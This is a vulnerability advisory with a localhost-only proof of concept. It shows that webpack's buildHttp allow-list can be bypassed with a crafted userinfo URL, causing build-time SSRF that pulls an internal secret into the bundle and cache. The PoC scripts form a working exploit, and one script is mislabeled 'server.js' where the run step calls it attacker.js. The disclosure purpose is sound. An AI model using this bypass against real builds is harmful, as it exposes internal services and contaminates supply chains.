webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");

const ALLOWED_PORT = 9000;   // allowlisted-looking host
const INTERNAL_PORT = 9100;  // actual target if bypass succeeds

const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `// internal-only\n` +
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function listen(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // "Allowed" host (should NOT be contacted if bypass works as intended)
  await listen(ALLOWED_PORT, (req, res) => {
    console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
    res.statusCode = 200;
    res.setHeader("Content-Type", "application/javascript; charset=utf-8");
    res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
  });

  // Internal-only service (SSRF-like target)
  await listen(INTERNAL_PORT, (req, res) => {
    if (req.url === "/secret.js") {
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      return;
    }
    console.log(`[internal] 404 ${req.method} ${req.url}`);
    res.statusCode = 404;
    res.end("not found");
  });

  console.log("\nServers up:");
  console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
  console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();

2) Create server.js

#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");

function fmtBool(b) { return b ? "✅" : "❌"; }

async function walk(dir) {
  const out = [];
  let items;
  try { items = await fs.readdir(dir, { withFileTypes: true }); }
  catch { return out; }
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    const s1 = buf.toString("utf8");
    if (s1.includes(needle)) return true;
    const s2 = buf.toString("latin1");
    return s2.includes(needle);
  } catch {
    return false;
  }
}

(async () => {
  const webpackVersion = require("webpack/package.json").version;

  const ALLOWED_PORT = 9000;
  const INTERNAL_PORT = 9100;

  // NOTE: allowlist is intentionally specified without a trailing slash
  // to demonstrate the risk of raw string prefix checks.
  const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;

  // Crafted URL using userinfo so that:
  // - The string begins with allowedUri
  // - The actual authority (host:port) after '@' is INTERNAL_PORT
  const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;
  const parsed = new URL(crafted);

  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedUri],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  console.log("\n[ENV]");
  console.log(`- webpack version: ${webpackVersion}`);
  console.log(`- node version:    ${process.version}`);
  console.log(`- allowedUris:     ${JSON.stringify([allowedUri])}`);

  console.log("\n[CRAFTED URL]");
  console.log(`- import specifier: ${crafted}`);
  console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
  console.log(`- WHAT URL() parses:`);
  console.log(`  - username: ${JSON.stringify(parsed.username)} (userinfo)`);
  console.log(`  - password: ${JSON.stringify(parsed.password)} (userinfo)`);
  console.log(`  - hostname: ${parsed.hostname}`);
  console.log(`  - port:     ${parsed.port}`);
  console.log(`  - origin:   ${parsed.origin}`);
  console.log(`  - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;
      const info = stats.toJson({ all: false, errors: true, warnings: true });

      if (stats.hasErrors()) {
        console.error("\n[WEBPACK ERRORS]");
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const foundSecret = m ? m[0] : null;

      console.log("\n[RESULT]");
      console.log(`- temp dir:  ${tmp}`);
      console.log(`- bundle:    ${bundlePath}`);
      console.log(`- lockfile:  ${lockfile}`);
      console.log(`- cacheDir:  ${cacheDir}`);

      console.log("\n[SECURITY CHECK]");
      console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);

      if (foundSecret) {
        const lockHit = await fileContains(lockfile, foundSecret);

        const cacheFiles = await walk(cacheDir);
        let cacheHit = false;
        for (const f of cacheFiles) {
          if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
        }

        console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
        console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      }
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();

4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js

5) Expected vs Actual

Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).

Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.

Impact

Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.